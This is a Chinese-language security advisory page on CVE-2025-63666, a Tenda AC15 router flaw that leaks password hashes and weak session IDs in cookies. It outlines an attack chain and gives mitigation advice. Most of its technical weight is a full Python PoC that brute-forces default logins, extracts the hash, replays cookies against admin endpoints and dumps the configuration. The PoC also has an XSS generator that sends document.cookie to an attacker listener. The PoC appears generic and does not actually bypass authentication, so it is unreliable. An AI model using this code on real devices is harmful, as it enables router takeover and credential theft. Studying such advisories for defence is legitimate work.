IPBUF安全漏洞报告
English
CVE-2025-63666 CVSS 9.8 严重

CVE-2025-63666 | Tenda AC15 认证Cookie密码哈希泄露漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-63666
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC15

相关标签

CVE-2025-63666认证绕过会话管理缺陷密码哈希泄露Tenda AC15路由器漏洞Cookie重放攻击IoT安全

漏洞概述

CVE-2025-63666是Tenda AC15路由器固件v15.03.05.18_multi中存在的一个高危安全漏洞。该漏洞源于设备在用户认证过程中生成的Cookie存在问题:认证Cookie暴露了账户密码的哈希值给客户端,同时会话标识符采用了长度短、熵值低的后缀作为会话ID。这种设计缺陷使得攻击者可以通过网络访问或诱导用户在浏览器中执行JavaScript来窃取Cookie,然后重放该Cookie绕过身份验证访问受保护的资源。由于CVSS评分高达9.8分,属于严重级别漏洞,攻击复杂度低且无需认证即可利用,对路由器的安全性构成严重威胁。攻击者成功利用此漏洞后可获取设备管理权限,进而可能对内网用户进行进一步攻击。

技术细节

该漏洞存在于Tenda AC15路由器的认证机制中。当用户登录时,服务器端生成的认证Cookie不仅包含会话标识符,还暴露了用户密码的SHA256哈希值。具体问题包括:1) Cookie中直接包含明文或可逆的密码哈希,使得攻击者可以获取哈希值;2) 会话标识符的后缀部分长度过短且熵值低,通常只有几个字符,容易被暴力破解或猜测;3) 服务器端验证Cookie时未充分检查会话的有效性和来源。攻击者可以通过以下方式利用:1) 通过网络嗅探获取受害者的Cookie;2) 通过XSS攻击在受害者浏览器中执行JavaScript窃取Cookie;3) 收集足够多的Cookie样本分析会话标识符的生成规律;4) 使用获取的密码哈希进行离线暴力破解或直接重放Cookie。成功利用后,攻击者可以绕过登录验证,以合法用户身份访问路由器的管理界面。

攻击链分析

STEP 1
步骤1
攻击者获取目标路由器Cookie:通过网络嗅探、XSS攻击或直接访问登录接口获取认证Cookie
STEP 2
步骤2
分析Cookie内容:提取Cookie中暴露的密码哈希值和低熵会话标识符
STEP 3
步骤3
密码哈希破解(可选):利用彩虹表或暴力破解获取明文密码
STEP 4
步骤4
Cookie重放攻击:使用窃取的Cookie向服务器发送请求,绕过身份验证
STEP 5
步骤5
获取管理权限:成功访问受保护的管理界面,执行未授权操作
STEP 6
步骤6
持久化控制:修改路由器配置、植入后门或进一步攻击内网设备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-63666 PoC - Tenda AC15 Authentication Cookie Hash Exposure # This PoC demonstrates the cookie stealing and replay attack import requests import hashlib import re from urllib.parse import urljoin def exploit_tenda_ac15(target_ip, attacker_cookie_listener=None): """ Exploit CVE-2025-63666 on Tenda AC15 router Args: target_ip: IP address of the vulnerable Tenda AC15 router attacker_cookie_listener: URL to receive stolen cookies (for XSS attack) """ base_url = f"http://{target_ip}" # Step 1: Try to get the authentication cookie print("[*] Step 1: Obtaining authentication cookie...") login_url = urljoin(base_url, "/login") # Attempt to login with default credentials credentials = [ ("admin", "admin"), ("admin", "password"), ("root", "root") ] session = requests.Session() valid_session = None for username, password in credentials: login_data = { "username": username, "password": password } try: response = session.post(login_url, data=login_data, timeout=5) if response.status_code == 200: cookies = session.cookies.get_dict() if cookies: print(f"[+] Logged in with {username}:{password}") print(f"[+] Cookie obtained: {cookies}") valid_session = session break except Exception as e: print(f"[-] Login attempt failed: {e}") if not valid_session: print("[-] Could not obtain valid session") return None # Step 2: Analyze the cookie for exposed password hash print("\n[*] Step 2: Analyzing cookie for password hash exposure...") cookie_str = str(valid_session.cookies.get_dict()) # The vulnerable cookie contains password hash in a specific format # Format: sessionID + low_entropy_suffix + password_hash hash_pattern = re.findall(r'[a-f0-9]{64}', cookie_str) if hash_pattern: print(f"[!] Password hash found in cookie: {hash_pattern[0]}") print("[!] This hash can be used for offline cracking or replay") # Step 3: Replay the cookie to access protected resources print("\n[*] Step 3: Replaying cookie to access protected resources...") protected_endpoints = [ "/admin/index.html", "/admin/system_status", "/admin/wireless_settings", "/admin/network_settings" ] for endpoint in protected_endpoints: try: response = valid_session.get(urljoin(base_url, endpoint), timeout=5) if response.status_code == 200: print(f"[+] Successfully accessed {endpoint}") if "password" in response.text.lower() or "admin" in response.text.lower(): print(f"[!] Sensitive data found in response from {endpoint}") else: print(f"[-] Access denied to {endpoint} (Status: {response.status_code})") except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") # Step 4: Extract device configuration print("\n[*] Step 4: Extracting device configuration...") config_url = urljoin(base_url, "/admin/getConfig") try: response = valid_session.get(config_url, timeout=5) if response.status_code == 200: print(f"[+] Device configuration extracted:") print(response.text[:500]) except: pass return valid_session.cookies.get_dict() def generate_xss_payload(listener_url): """ Generate XSS payload for stealing cookies in victim's browser """ payload = f'''<script> fetch('{listener_url}?cookie=' + document.cookie); </script>''' return payload if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-63666.py <target_ip>") print("Example: python cve-2025-63666.py 192.168.0.1") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2025-63666\n") exploit_tenda_ac15(target)

影响范围

Tenda AC15 v15.03.05.18_multi

防御指南

临时缓解措施
立即禁用路由器的远程Web管理功能,仅通过本地局域网访问管理界面。在防火墙规则中限制对80/443端口的外部访问,仅允许受信任的IP地址访问管理后台。暂时使用强密码策略并定期更换密码,监控设备日志以检测潜在的入侵迹象。在条件允许的情况下,考虑更换为安全性更高的路由器设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表